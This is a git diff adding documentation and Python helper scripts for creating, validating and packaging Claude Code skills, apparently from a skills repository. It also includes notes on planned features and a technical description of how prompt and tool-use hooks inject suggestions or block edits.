Claude only reads sales.md. + +Similarly, for skills supporting multiple frameworks or variants, organize by variant: + +``` +cloud-deploy/ +├── SKILL.md (workflow + provider selection) +└── references/ + ├── aws.md (AWS deployment patterns) + ├── gcp.md (GCP deployment patterns) + └── azure.md (Azure deployment patterns) +``` + +When the user chooses AWS, Claude only reads aws.md. + +**Pattern 3: Conditional details** + +Show basic content, link to advanced content: + +```markdown +# DOCX Processing + +## Creating documents + +Use docx-js for new documents. See [DOCX-JS.md](DOCX-JS.md). + +## Editing documents + +For simple edits, modify the XML directly. + +**For tracked changes**: See [REDLINING.md](REDLINING.md) +**For OOXML details**: See [OOXML.md](OOXML.md) +``` + +Claude reads REDLINING.md or OOXML.md only when the user needs those features. + +**Important guidelines:** + +- **Avoid deeply nested references** - Keep references one level deep from SKILL.md. All reference files should link directly from SKILL.md. +- **Structure longer reference files** - For files longer than 100 lines, include a table of contents at the top so Claude can see the full scope when previewing. + +## Skill Creation Process + +Skill creation involves these steps: + +1. Understand the skill with concrete examples +2. Plan reusable skill contents (scripts, references, assets) +3. Initialize the skill (run init_skill.py) +4. Edit the skill (implement resources and write SKILL.md) +5. Package the skill (run package_skill.py) +6. Iterate based on real usage + +Follow these steps in order, skipping only if there is a clear reason why they are not applicable. + +### Step 1: Understanding the Skill with Concrete Examples + +Skip this step only when the skill's usage patterns are already clearly understood. It remains valuable even when working with an existing skill. + +To create an effective skill, clearly understand concrete examples of how the skill will be used. This understanding can come from either direct user examples or generated examples that are validated with user feedback. + +For example, when building an image-editor skill, relevant questions include: + +- "What functionality should the image-editor skill support? Editing, rotating, anything else?" +- "Can you give some examples of how this skill would be used?" +- "I can imagine users asking for things like 'Remove the red-eye from this image' or 'Rotate this image'. Are there other ways you imagine this skill being used?" +- "What would a user say that should trigger this skill?" + +To avoid overwhelming users, avoid asking too many questions in a single message. Start with the most important questions and follow up as needed for better effectiveness. + +Conclude this step when there is a clear sense of the functionality the skill should support. + +### Step 2: Planning the Reusable Skill Contents + +To turn concrete examples into an effective skill, analyze each example by: + +1. Considering how to execute on the example from scratch +2. Identifying what scripts, references, and assets would be helpful when executing these workflows repeatedly + +Example: When building a `pdf-editor` skill to handle queries like "Help me rotate this PDF," the analysis shows: + +1. Rotating a PDF requires re-writing the same code each time +2. A `scripts/rotate_pdf.py` script would be helpful to store in the skill + +Example: When designing a `frontend-webapp-builder` skill for queries like "Build me a todo app" or "Build me a dashboard to track my steps," the analysis shows: + +1. Writing a frontend webapp requires the same boilerplate HTML/React each time +2. An `assets/hello-world/` template containing the boilerplate HTML/React project files would be helpful to store in the skill + +Example: When building a `big-query` skill to handle queries like "How many users have logged in today?" the analysis shows: + +1. Querying BigQuery requires re-discovering the table schemas and relationships each time +2. A `references/schema.md` file documenting the table schemas would be helpful to store in the skill + +To establish the skill's contents, analyze each concrete example to create a list of the reusable resources to include: scripts, references, and assets. + +### Step 3: Initializing the Skill + +At this point, it is time to actually create the skill. + +Skip this step only if the skill being developed already exists, and iteration or packaging is needed. In this case, continue to the next step. + +When creating a new skill from scratch, always run the `init_skill.py` script. The script conveniently generates a new template skill directory that automatically includes everything a skill requires, making the skill creation process much more efficient and reliable. + +Usage: + +```bash +scripts/init_skill.py <skill-name> --path <output-directory> +``` + +The script: + +- Creates the skill directory at the specified path +- Generates a SKILL.md template with proper frontmatter and TODO placeholders +- Creates example resource directories: `scripts/`, `references/`, and `assets/` +- Adds example files in each directory that can be customized or deleted + +After initialization, customize or remove the generated SKILL.md and example files as needed. + +### Step 4: Edit the Skill + +When editing the (newly-generated or existing) skill, remember that the skill is being created for another instance of Claude to use. Include information that would be beneficial and non-obvious to Claude. Consider what procedural knowledge, domain-specific details, or reusable assets would help another Claude instance execute these tasks more effectively. + +#### Learn Proven Design Patterns + +Consult these helpful guides based on your skill's needs: + +- **Multi-step processes**: See references/workflows.md for sequential workflows and conditional logic +- **Specific output formats or quality standards**: See references/output-patterns.md for template and example patterns + +These files contain established best practices for effective skill design. + +#### Start with Reusable Skill Contents + +To begin implementation, start with the reusable resources identified above: `scripts/`, `references/`, and `assets/` files. Note that this step may require user input. For example, when implementing a `brand-guidelines` skill, the user may need to provide brand assets or templates to store in `assets/`, or documentation to store in `references/`. + +Added scripts must be tested by actually running them to ensure there are no bugs and that the output matches what is expected. If there are many similar scripts, only a representative sample needs to be tested to ensure confidence that they all work while balancing time to completion. + +Any example files and directories not needed for the skill should be deleted. The initialization script creates example files in `scripts/`, `references/`, and `assets/` to demonstrate structure, but most skills won't need all of them. + +#### Update SKILL.md + +**Writing Guidelines:** Always use imperative/infinitive form. + +##### Frontmatter + +Write the YAML frontmatter with `name` and `description`: + +- `name`: The skill name +- `description`: This is the primary triggering mechanism for your skill, and helps Claude understand when to use the skill. + - Include both what the Skill does and specific triggers/contexts for when to use it. + - Include all "when to use" information here - Not in the body. The body is only loaded after triggering, so "When to Use This Skill" sections in the body are not helpful to Claude. + - Example description for a `docx` skill: "Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. Use when Claude needs to work with professional documents (.docx files) for: (1) Creating new documents, (2) Modifying or editing content, (3) Working with tracked changes, (4) Adding comments, or any other document tasks" + +Do not include any other fields in YAML frontmatter. + +##### Body + +Write instructions for using the skill and its bundled resources. + +### Step 5: Packaging a Skill + +Once development of the skill is complete, it must be packaged into a distributable .skill file that gets shared with the user. The packaging process automatically validates the skill first to ensure it meets all requirements: + +```bash +scripts/package_skill.py <path/to/skill-folder> +``` + +Optional output directory specification: + +```bash +scripts/package_skill.py <path/to/skill-folder> ./dist +``` + +The packaging script will: + +1. **Validate** the skill automatically, checking: + + - YAML frontmatter format and required fields + - Skill naming conventions and directory structure + - Description completeness and quality + - File organization and resource references + +2. **Package** the skill if validation passes, creating a .skill file named after the skill (e.g., `my-skill.skill`) that includes all files and maintains the proper directory structure for distribution. The .skill file is a zip file with a .skill extension. + +If validation fails, the script will report the errors and exit without creating a package. Fix any validation errors and run the packaging command again. + +### Step 6: Iterate + +After testing the skill, users may request improvements. Often this happens right after using the skill, with fresh context of how the skill performed. + +**Iteration workflow:** + +1. Use the skill on real tasks +2. Notice struggles or inefficiencies +3. Identify how SKILL.md or bundled resources should be updated +4. Implement changes and test again diff --git a/skills/skill-creator/references/output-patterns.md b/skills/skill-creator/references/output-patterns.md new file mode 100644 index 00000000..073ddda5 --- /dev/null +++ b/skills/skill-creator/references/output-patterns.md @@ -0,0 +1,82 @@ +# Output Patterns + +Use these patterns when skills need to produce consistent, high-quality output. + +## Template Pattern + +Provide templates for output format. Match the level of strictness to your needs. + +**For strict requirements (like API responses or data formats):** + +```markdown +## Report structure + +ALWAYS use this exact template structure: + +# [Analysis Title] + +## Executive summary +[One-paragraph overview of key findings] + +## Key findings +- Finding 1 with supporting data +- Finding 2 with supporting data +- Finding 3 with supporting data + +## Recommendations +1. Specific actionable recommendation +2. Specific actionable recommendation +``` + +**For flexible guidance (when adaptation is useful):** + +```markdown +## Report structure + +Here is a sensible default format, but use your best judgment: + +# [Analysis Title] + +## Executive summary +[Overview] + +## Key findings +[Adapt sections based on what you discover] + +## Recommendations +[Tailor to the specific context] + +Adjust sections as needed for the specific analysis type. +``` + +## Examples Pattern + +For skills where output quality depends on seeing examples, provide input/output pairs: + +```markdown +## Commit message format + +Generate commit messages following these examples: + +**Example 1:** +Input: Added user authentication with JWT tokens +Output: +``` +feat(auth): implement JWT-based authentication + +Add login endpoint and token validation middleware +``` + +**Example 2:** +Input: Fixed bug where dates displayed incorrectly in reports +Output: +``` +fix(reports): correct date formatting in timezone conversion + +Use UTC timestamps consistently across report generation +``` + +Follow this style: type(scope): brief description, then detailed explanation. +``` + +Examples help Claude understand the desired style and level of detail more clearly than descriptions alone. diff --git a/skills/skill-creator/references/workflows.md b/skills/skill-creator/references/workflows.md new file mode 100644 index 00000000..a350c3cc --- /dev/null +++ b/skills/skill-creator/references/workflows.md @@ -0,0 +1,28 @@ +# Workflow Patterns + +## Sequential Workflows + +For complex tasks, break operations into clear, sequential steps. It is often helpful to give Claude an overview of the process towards the beginning of SKILL.md: + +```markdown +Filling a PDF form involves these steps: + +1. Analyze the form (run analyze_form.py) +2. Create field mapping (edit fields.json) +3. Validate mapping (run validate_fields.py) +4. Fill the form (run fill_form.py) +5. Verify output (run verify_output.py) +``` + +## Conditional Workflows + +For tasks with branching logic, guide Claude through decision points: + +```markdown +1. Determine the modification type: + **Creating new content?** → Follow "Creation workflow" below + **Editing existing content?** → Follow "Editing workflow" below + +2. Creation workflow: [steps] +3. Editing workflow: [steps] +``` \ No newline at end of file diff --git a/skills/skill-creator/scripts/init_skill.py b/skills/skill-creator/scripts/init_skill.py new file mode 100755 index 00000000..329ad4e5 --- /dev/null +++ b/skills/skill-creator/scripts/init_skill.py @@ -0,0 +1,303 @@ +#!/usr/bin/env python3 +""" +Skill Initializer - Creates a new skill from template + +Usage: + init_skill.py <skill-name> --path <path> + +Examples: + init_skill.py my-new-skill --path skills/public + init_skill.py my-api-helper --path skills/private + init_skill.py custom-skill --path /custom/location +""" + +import sys +from pathlib import Path + + +SKILL_TEMPLATE = """--- +name: {skill_name} +description: [TODO: Complete and informative explanation of what the skill does and when to use it. Include WHEN to use this skill - specific scenarios, file types, or tasks that trigger it.] +--- + +# {skill_title} + +## Overview + +[TODO: 1-2 sentences explaining what this skill enables] + +## Structuring This Skill + +[TODO: Choose the structure that best fits this skill's purpose. Common patterns: + +**1. Workflow-Based** (best for sequential processes) +- Works well when there are clear step-by-step procedures +- Example: DOCX skill with "Workflow Decision Tree" → "Reading" → "Creating" → "Editing" +- Structure: ## Overview → ## Workflow Decision Tree → ## Step 1 → ## Step 2... + +**2. Task-Based** (best for tool collections) +- Works well when the skill offers different operations/capabilities +- Example: PDF skill with "Quick Start" → "Merge PDFs" → "Split PDFs" → "Extract Text" +- Structure: ## Overview → ## Quick Start → ## Task Category 1 → ## Task Category 2... + +**3. Reference/Guidelines** (best for standards or specifications) +- Works well for brand guidelines, coding standards, or requirements +- Example: Brand styling with "Brand Guidelines" → "Colors" → "Typography" → "Features" +- Structure: ## Overview → ## Guidelines → ## Specifications → ## Usage... + +**4. Capabilities-Based** (best for integrated systems) +- Works well when the skill provides multiple interrelated features +- Example: Product Management with "Core Capabilities" → numbered capability list +- Structure: ## Overview → ## Core Capabilities → ### 1. Feature → ### 2. Feature... + +Patterns can be mixed and matched as needed. Most skills combine patterns (e.g., start with task-based, add workflow for complex operations). + +Delete this entire "Structuring This Skill" section when done - it's just guidance.] + +## [TODO: Replace with the first main section based on chosen structure] + +[TODO: Add content here. See examples in existing skills: +- Code samples for technical skills +- Decision trees for complex workflows +- Concrete examples with realistic user requests +- References to scripts/templates/references as needed] + +## Resources + +This skill includes example resource directories that demonstrate how to organize different types of bundled resources: + +### scripts/ +Executable code (Python/Bash/etc.) that can be run directly to perform specific operations. + +**Examples from other skills:** +- PDF skill: `fill_fillable_fields.py`, `extract_form_field_info.py` - utilities for PDF manipulation +- DOCX skill: `document.py`, `utilities.py` - Python modules for document processing + +**Appropriate for:** Python scripts, shell scripts, or any executable code that performs automation, data processing, or specific operations. + +**Note:** Scripts may be executed without loading into context, but can still be read by Claude for patching or environment adjustments. + +### references/ +Documentation and reference material intended to be loaded into context to inform Claude's process and thinking. + +**Examples from other skills:** +- Product management: `communication.md`, `context_building.md` - detailed workflow guides +- BigQuery: API reference documentation and query examples +- Finance: Schema documentation, company policies + +**Appropriate for:** In-depth documentation, API references, database schemas, comprehensive guides, or any detailed information that Claude should reference while working. + +### assets/ +Files not intended to be loaded into context, but rather used within the output Claude produces. + +**Examples from other skills:** +- Brand styling: PowerPoint template files (.pptx), logo files +- Frontend builder: HTML/React boilerplate project directories +- Typography: Font files (.ttf, .woff2) + +**Appropriate for:** Templates, boilerplate code, document templates, images, icons, fonts, or any files meant to be copied or used in the final output. + +--- + +**Any unneeded directories can be deleted.** Not every skill requires all three types of resources. +""" + +EXAMPLE_SCRIPT = '''#!/usr/bin/env python3 +""" +Example helper script for {skill_name} + +This is a placeholder script that can be executed directly. +Replace with actual implementation or delete if not needed. + +Example real scripts from other skills: +- pdf/scripts/fill_fillable_fields.py - Fills PDF form fields +- pdf/scripts/convert_pdf_to_images.py - Converts PDF pages to images +""" + +def main(): + print("This is an example script for {skill_name}") + # TODO: Add actual script logic here + # This could be data processing, file conversion, API calls, etc. + +if __name__ == "__main__": + main() +''' + +EXAMPLE_REFERENCE = """# Reference Documentation for {skill_title} + +This is a placeholder for detailed reference documentation. +Replace with actual reference content or delete if not needed. + +Example real reference docs from other skills: +- product-management/references/communication.md - Comprehensive guide for status updates +- product-management/references/context_building.md - Deep-dive on gathering context +- bigquery/references/ - API references and query examples + +## When Reference Docs Are Useful + +Reference docs are ideal for: +- Comprehensive API documentation +- Detailed workflow guides +- Complex multi-step processes +- Information too lengthy for main SKILL.md +- Content that's only needed for specific use cases + +## Structure Suggestions + +### API Reference Example +- Overview +- Authentication +- Endpoints with examples +- Error codes +- Rate limits + +### Workflow Guide Example +- Prerequisites +- Step-by-step instructions +- Common patterns +- Troubleshooting +- Best practices +""" + +EXAMPLE_ASSET = """# Example Asset File + +This placeholder represents where asset files would be stored. +Replace with actual asset files (templates, images, fonts, etc.) or delete if not needed. + +Asset files are NOT intended to be loaded into context, but rather used within +the output Claude produces. + +Example asset files from other skills: +- Brand guidelines: logo.png, slides_template.pptx +- Frontend builder: hello-world/ directory with HTML/React boilerplate +- Typography: custom-font.ttf, font-family.woff2 +- Data: sample_data.csv, test_dataset.json + +## Common Asset Types + +- Templates: .pptx, .docx, boilerplate directories +- Images: .png, .jpg, .svg, .gif +- Fonts: .ttf, .otf, .woff, .woff2 +- Boilerplate code: Project directories, starter files +- Icons: .ico, .svg +- Data files: .csv, .json, .xml, .yaml + +Note: This is a text placeholder. Actual assets can be any file type. +""" + + +def title_case_skill_name(skill_name): + """Convert hyphenated skill name to Title Case for display.""" + return ' '.join(word.capitalize() for word in skill_name.split('-')) + + +def init_skill(skill_name, path): + """ + Initialize a new skill directory with template SKILL.md. + + Args: + skill_name: Name of the skill + path: Path where the skill directory should be created + + Returns: + Path to created skill directory, or None if error + """ + # Determine skill directory path + skill_dir = Path(path).resolve() / skill_name + + # Check if directory already exists + if skill_dir.exists(): + print(f"❌ Error: Skill directory already exists: {skill_dir}") + return None + + # Create skill directory + try: + skill_dir.mkdir(parents=True, exist_ok=False) + print(f"✅ Created skill directory: {skill_dir}") + except Exception as e: + print(f"❌ Error creating directory: {e}") + return None + + # Create SKILL.md from template + skill_title = title_case_skill_name(skill_name) + skill_content = SKILL_TEMPLATE.format( + skill_name=skill_name, + skill_title=skill_title + ) + + skill_md_path = skill_dir / 'SKILL.md' + try: + skill_md_path.write_text(skill_content) + print("✅ Created SKILL.md") + except Exception as e: + print(f"❌ Error creating SKILL.md: {e}") + return None + + # Create resource directories with example files + try: + # Create scripts/ directory with example script + scripts_dir = skill_dir / 'scripts' + scripts_dir.mkdir(exist_ok=True) + example_script = scripts_dir / 'example.py' + example_script.write_text(EXAMPLE_SCRIPT.format(skill_name=skill_name)) + example_script.chmod(0o755) + print("✅ Created scripts/example.py") + + # Create references/ directory with example reference doc + references_dir = skill_dir / 'references' + references_dir.mkdir(exist_ok=True) + example_reference = references_dir / 'api_reference.md' + example_reference.write_text(EXAMPLE_REFERENCE.format(skill_title=skill_title)) + print("✅ Created references/api_reference.md") + + # Create assets/ directory with example asset placeholder + assets_dir = skill_dir / 'assets' + assets_dir.mkdir(exist_ok=True) + example_asset = assets_dir / 'example_asset.txt' + example_asset.write_text(EXAMPLE_ASSET) + print("✅ Created assets/example_asset.txt") + except Exception as e: + print(f"❌ Error creating resource directories: {e}") + return None + + # Print next steps + print(f"\n✅ Skill '{skill_name}' initialized successfully at {skill_dir}") + print("\nNext steps:") + print("1. Edit SKILL.md to complete the TODO items and update the description") + print("2. Customize or delete the example files in scripts/, references/, and assets/") + print("3. Run the validator when ready to check the skill structure") + + return skill_dir + + +def main(): + if len(sys.argv) < 4 or sys.argv[2] != '--path': + print("Usage: init_skill.py <skill-name> --path <path>") + print("\nSkill name requirements:") + print(" - Hyphen-case identifier (e.g., 'data-analyzer')") + print(" - Lowercase letters, digits, and hyphens only") + print(" - Max 40 characters") + print(" - Must match directory name exactly") + print("\nExamples:") + print(" init_skill.py my-new-skill --path skills/public") + print(" init_skill.py my-api-helper --path skills/private") + print(" init_skill.py custom-skill --path /custom/location") + sys.exit(1) + + skill_name = sys.argv[1] + path = sys.argv[3] + + print(f"🚀 Initializing skill: {skill_name}") + print(f" Location: {path}") + print() + + result = init_skill(skill_name, path) + + if result: + sys.exit(0) + else: + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/skill-creator/scripts/package_skill.py b/skills/skill-creator/scripts/package_skill.py new file mode 100755 index 00000000..5cd36cb1 --- /dev/null +++ b/skills/skill-creator/scripts/package_skill.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python3 +""" +Skill Packager - Creates a distributable .skill file of a skill folder + +Usage: + python utils/package_skill.py <path/to/skill-folder> [output-directory] + +Example: + python utils/package_skill.py skills/public/my-skill + python utils/package_skill.py skills/public/my-skill ./dist +""" + +import sys +import zipfile +from pathlib import Path +from quick_validate import validate_skill + + +def package_skill(skill_path, output_dir=None): + """ + Package a skill folder into a .skill file. + + Args: + skill_path: Path to the skill folder + output_dir: Optional output directory for the .skill file (defaults to current directory) + + Returns: + Path to the created .skill file, or None if error + """ + skill_path = Path(skill_path).resolve() + + # Validate skill folder exists + if not skill_path.exists(): + print(f"❌ Error: Skill folder not found: {skill_path}") + return None + + if not skill_path.is_dir(): + print(f"❌ Error: Path is not a directory: {skill_path}") + return None + + # Validate SKILL.md exists + skill_md = skill_path / "SKILL.md" + if not skill_md.exists(): + print(f"❌ Error: SKILL.md not found in {skill_path}") + return None + + # Run validation before packaging + print("🔍 Validating skill...") + valid, message = validate_skill(skill_path) + if not valid: + print(f"❌ Validation failed: {message}") + print(" Please fix the validation errors before packaging.") + return None + print(f"✅ {message}\n") + + # Determine output location + skill_name = skill_path.name + if output_dir: + output_path = Path(output_dir).resolve() + output_path.mkdir(parents=True, exist_ok=True) + else: + output_path = Path.cwd() + + skill_filename = output_path / f"{skill_name}.skill" + + # Create the .skill file (zip format) + try: + with zipfile.ZipFile(skill_filename, 'w', zipfile.ZIP_DEFLATED) as zipf: + # Walk through the skill directory + for file_path in skill_path.rglob('*'): + if file_path.is_file(): + # Calculate the relative path within the zip + arcname = file_path.relative_to(skill_path.parent) + zipf.write(file_path, arcname) + print(f" Added: {arcname}") + + print(f"\n✅ Successfully packaged skill to: {skill_filename}") + return skill_filename + + except Exception as e: + print(f"❌ Error creating .skill file: {e}") + return None + + +def main(): + if len(sys.argv) < 2: + print("Usage: python utils/package_skill.py <path/to/skill-folder> [output-directory]") + print("\nExample:") + print(" python utils/package_skill.py skills/public/my-skill") + print(" python utils/package_skill.py skills/public/my-skill ./dist") + sys.exit(1) + + skill_path = sys.argv[1] + output_dir = sys.argv[2] if len(sys.argv) > 2 else None + + print(f"📦 Packaging skill: {skill_path}") + if output_dir: + print(f" Output directory: {output_dir}") + print() + + result = package_skill(skill_path, output_dir) + + if result: + sys.exit(0) + else: + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/skill-creator/scripts/quick_validate.py b/skills/skill-creator/scripts/quick_validate.py new file mode 100755 index 00000000..d9fbeb75 --- /dev/null +++ b/skills/skill-creator/scripts/quick_validate.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 +""" +Quick validation script for skills - minimal version +""" + +import sys +import os +import re +import yaml +from pathlib import Path + +def validate_skill(skill_path): + """Basic validation of a skill""" + skill_path = Path(skill_path) + + # Check SKILL.md exists + skill_md = skill_path / 'SKILL.md' + if not skill_md.exists(): + return False, "SKILL.md not found" + + # Read and validate frontmatter + content = skill_md.read_text() + if not content.startswith('---'): + return False, "No YAML frontmatter found" + + # Extract frontmatter + match = re.match(r'^---\n(.*?)\n---', content, re.DOTALL) + if not match: + return False, "Invalid frontmatter format" + + frontmatter_text = match.group(1) + + # Parse YAML frontmatter + try: + frontmatter = yaml.safe_load(frontmatter_text) + if not isinstance(frontmatter, dict): + return False, "Frontmatter must be a YAML dictionary" + except yaml.YAMLError as e: + return False, f"Invalid YAML in frontmatter: {e}" + + # Define allowed properties + ALLOWED_PROPERTIES = {'name', 'description', 'license', 'allowed-tools', 'metadata'} + + # Check for unexpected properties (excluding nested keys under metadata) + unexpected_keys = set(frontmatter.keys()) - ALLOWED_PROPERTIES + if unexpected_keys: + return False, ( + f"Unexpected key(s) in SKILL.md frontmatter: {', '.join(sorted(unexpected_keys))}. " + f"Allowed properties are: {', '.join(sorted(ALLOWED_PROPERTIES))}" + ) + + # Check required fields + if 'name' not in frontmatter: + return False, "Missing 'name' in frontmatter" + if 'description' not in frontmatter: + return False, "Missing 'description' in frontmatter" + + # Extract name for validation + name = frontmatter.get('name', '') + if not isinstance(name, str): + return False, f"Name must be a string, got {type(name).__name__}" + name = name.strip() + if name: + # Check naming convention (hyphen-case: lowercase with hyphens) + if not re.match(r'^[a-z0-9-]+$', name): + return False, f"Name '{name}' should be hyphen-case (lowercase letters, digits, and hyphens only)" + if name.startswith('-') or name.endswith('-') or '--' in name: + return False, f"Name '{name}' cannot start/end with hyphen or contain consecutive hyphens" + # Check name length (max 64 characters per spec) + if len(name) > 64: + return False, f"Name is too long ({len(name)} characters). Maximum is 64 characters." + + # Extract and validate description + description = frontmatter.get('description', '') + if not isinstance(description, str): + return False, f"Description must be a string, got {type(description).__name__}" + description = description.strip() + if description: + # Check for angle brackets + if '<' in description or '>' in description: + return False, "Description cannot contain angle brackets (< or >)" + # Check description length (max 1024 characters per spec) + if len(description) > 1024: + return False, f"Description is too long ({len(description)} characters). Maximum is 1024 characters." + + return True, "Skill is valid!" + +if __name__ == "__main__": + if len(sys.argv) != 2: + print("Usage: python quick_validate.py <skill_directory>") + sys.exit(1) + + valid, message = validate_skill(sys.argv[1]) + print(message) + sys.exit(0 if valid else 1) \ No newline at end of file diff --git a/skills/skill-developer/ADVANCED.md b/skills/skill-developer/ADVANCED.md new file mode 100644 index 00000000..6395f779 --- /dev/null +++ b/skills/skill-developer/ADVANCED.md @@ -0,0 +1,197 @@ +# Advanced Topics & Future Enhancements + +Ideas and concepts for future improvements to the skill system. + +--- + +## Dynamic Rule Updates + +**Current State:** Requires Claude Code restart to pick up changes to skill-rules.json + +**Future Enhancement:** Hot-reload configuration without restart + +**Implementation Ideas:** +- Watch skill-rules.json for changes +- Reload on file modification +- Invalidate cached compiled regexes +- Notify user of reload + +**Benefits:** +- Faster iteration during skill development +- No need to restart Claude Code +- Better developer experience + +--- + +## Skill Dependencies + +**Current State:** Skills are independent + +**Future Enhancement:** Specify skill dependencies and load order + +**Configuration Idea:** +```json +{ + "my-advanced-skill": { + "dependsOn": ["prerequisite-skill", "base-skill"], + "type": "domain", + ... + } +} +``` + +**Use Cases:** +- Advanced skill builds on base skill knowledge +- Ensure foundational skills loaded first +- Chain skills for complex workflows + +**Benefits:** +- Better skill composition +- Clearer skill relationships +- Progressive disclosure + +--- + +## Conditional Enforcement + +**Current State:** Enforcement level is static + +**Future Enhancement:** Enforce based on context or environment + +**Configuration Idea:** +```json +{ + "enforcement": { + "default": "suggest", + "when": { + "production": "block", + "development": "suggest", + "ci": "block" + } + } +} +``` + +**Use Cases:** +- Stricter enforcement in production +- Relaxed rules during development +- CI/CD pipeline requirements + +**Benefits:** +- Environment-appropriate enforcement +- Flexible rule application +- Context-aware guardrails + +--- + +## Skill Analytics + +**Current State:** No usage tracking + +**Future Enhancement:** Track skill usage patterns and effectiveness + +**Metrics to Collect:** +- Skill trigger frequency +- False positive rate +- False negative rate +- Time to skill usage after suggestion +- User override rate (skip markers, env vars) +- Performance metrics (execution time) + +**Dashbord Ideas:** +- Most/least used skills +- Skills with highest false positive rate +- Performance bottlenecks +- Skill effectiveness scores + +**Benefits:** +- Data-driven skill improvement +- Identify problems early +- Optimize patterns based on real usage + +--- + +## Skill Versioning + +**Current State:** No version tracking + +**Future Enhancement:** Version skills and track compatibility + +**Configuration Idea:** +```json +{ + "my-skill": { + "version": "2.1.0", + "minClaudeVersion": "1.5.0", + "changelog": "Added support for new workflow patterns", + ... + } +} +``` + +**Benefits:** +- Track skill evolution +- Ensure compatibility +- Document changes +- Support migration paths + +--- + +## Multi-Language Support + +**Current State:** English only + +**Future Enhancement:** Support multiple languages for skill content + +**Implementation Ideas:** +- Language-specific SKILL.md variants +- Automatic language detection +- Fallback to English + +**Use Cases:** +- International teams +- Localized documentation +- Multi-language projects + +--- + +## Skill Testing Framework + +**Current State:** Manual testing with npx tsx commands + +**Future Enhancement:** Automated skill testing + +**Features:** +- Test cases for trigger patterns +- Assertion framework +- CI/CD integration +- Coverage reports + +**Example Test:** +```typescript +describe('database-verification', () => { + it('triggers on Prisma imports', () => { + const result = testSkill({ + prompt: "add user tracking", + file: "services/user.ts", + content: "import { PrismaService } from './prisma'" + }); + + expect(result.triggered).toBe(true); + expect(result.skill).toBe('database-verification'); + }); +}); +``` + +**Benefits:** +- Prevent regressions +- Validate patterns before deployment +- Confidence in changes + +--- + +## Related Files + +- [SKILL.md](SKILL.md) - Main skill guide +- [TROUBLESHOOTING.md](TROUBLESHOOTING.md) - Current debugging guide +- [HOOK_MECHANISMS.md](HOOK_MECHANISMS.md) - How hooks work today diff --git a/skills/skill-developer/HOOK_MECHANISMS.md b/skills/skill-developer/HOOK_MECHANISMS.md new file mode 100644 index 00000000..abe4768c --- /dev/null +++ b/skills/skill-developer/HOOK_MECHANISMS.md @@ -0,0 +1,306 @@ +# Hook Mechanisms - Deep Dive + +Technical deep dive into how the UserPromptSubmit and PreToolUse hooks work. + +## Table of Contents + +- [UserPromptSubmit Hook Flow](#userpromptsubmit-hook-flow) +- [PreToolUse Hook Flow](#pretooluse-hook-flow) +- [Exit Code Behavior (CRITICAL)](#exit-code-behavior-critical) +- [Session State Management](#session-state-management) +- [Performance Considerations](#performance-considerations) + +--- + +## UserPromptSubmit Hook Flow + +### Execution Sequence + +``` +User submits prompt + ↓ +.claude/settings.json registers hook + ↓ +skill-activation-prompt.sh executes + ↓ +npx tsx skill-activation-prompt.ts + ↓ +Hook reads stdin (JSON with prompt) + ↓ +Loads skill-rules.json + ↓ +Matches keywords + intent patterns + ↓ +Groups matches by priority (critical → high → medium → low) + ↓ +Outputs formatted message to stdout + ↓ +stdout becomes context for Claude (injected before prompt) + ↓ +Claude sees: [skill suggestion] + user's prompt +``` + +### Key Points + +- **Exit code**: Always 0 (allow) +- **stdout**: → Claude's context (injected as system message) +- **Timing**: Runs BEFORE Claude processes prompt +- **Behavior**: Non-blocking, advisory only +- **Purpose**: Make Claude aware of relevant skills + +### Input Format + +```json +{ + "session_id": "abc-123", + "transcript_path": "/path/to/transcript.json", + "cwd": "/root/git/your-project", + "permission_mode": "normal", + "hook_event_name": "UserPromptSubmit", + "prompt": "how does the layout system work?" +} +``` + +### Output Format (to stdout) + +``` +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +🎯 SKILL ACTIVATION CHECK +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +📚 RECOMMENDED SKILLS: + → project-catalog-developer + +ACTION: Use Skill tool BEFORE responding +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +``` + +Claude sees this output as additional context before processing the user's prompt. + +--- + +## PreToolUse Hook Flow + +### Execution Sequence + +``` +Claude calls Edit/Write tool + ↓ +.claude/settings.json registers hook (matcher: Edit|Write) + ↓ +skill-verification-guard.sh executes + ↓ +npx tsx skill-verification-guard.ts + ↓ +Hook reads stdin (JSON with tool_name, tool_input) + ↓ +Loads skill-rules.json + ↓ +Checks file path patterns (glob matching) + ↓ +Reads file for content patterns (if file exists) + ↓ +Checks session state (was skill already used?) + ↓ +Checks skip conditions (file markers, env vars) + ↓ +IF MATCHED AND NOT SKIPPED: + Update session state (mark skill as enforced) + Output block message to stderr + Exit with code 2 (BLOCK) +ELSE: + Exit with code 0 (ALLOW) + ↓ +IF BLOCKED: + stderr → Claude sees message + Edit/Write tool does NOT execute + Claude must use skill and retry +IF ALLOWED: + Tool executes normally +``` + +### Key Points + +- **Exit code 2**: BLOCK (stderr → Claude) +- **Exit code 0**: ALLOW +- **Timing**: Runs BEFORE tool execution +- **Session tracking**: Prevents repeated blocks in same session +- **Fail open**: On errors, allows operation (don't break workflow) +- **Purpose**: Enforce critical guardrails + +### Input Format + +```json +{ + "session_id": "abc-123", + "transcript_path": "/path/to/transcript.json", + "cwd": "/root/git/your-project", + "permission_mode": "normal", + "hook_event_name": "PreToolUse", + "tool_name": "Edit", + "tool_input": { + "file_path": "/root/git/your-project/form/src/services/user.ts", + "old_string": "...", + "new_string": "..." + } +} +``` + +### Output Format (to stderr when blocked) + +``` +⚠️ BLOCKED - Database Operation Detected + +📋 REQUIRED ACTION: +1. Use Skill tool: 'database-verification' +2. Verify ALL table and column names against schema +3. Check database structure with DESCRIBE commands +4. Then retry this edit + +Reason: Prevent column name errors in Prisma queries +File: form/src/services/user.ts + +💡 TIP: Add '// @skip-validation' comment to skip future checks +``` + +Claude receives this message and understands it needs to use the skill before retrying the edit. + +--- + +## Exit Code Behavior (CRITICAL) + +### Exit Code Reference Table + +| Exit Code | stdout | stderr | Tool Execution | Claude Sees | +|-----------|--------|--------|----------------|-------------| +| 0 (UserPromptSubmit) | → Context | → User only | N/A | stdout content | +| 0 (PreToolUse) | → User only | → User only | **Proceeds** | Nothing | +| 2 (PreToolUse) | → User only | → **CLAUDE** | **BLOCKED** | stderr content | 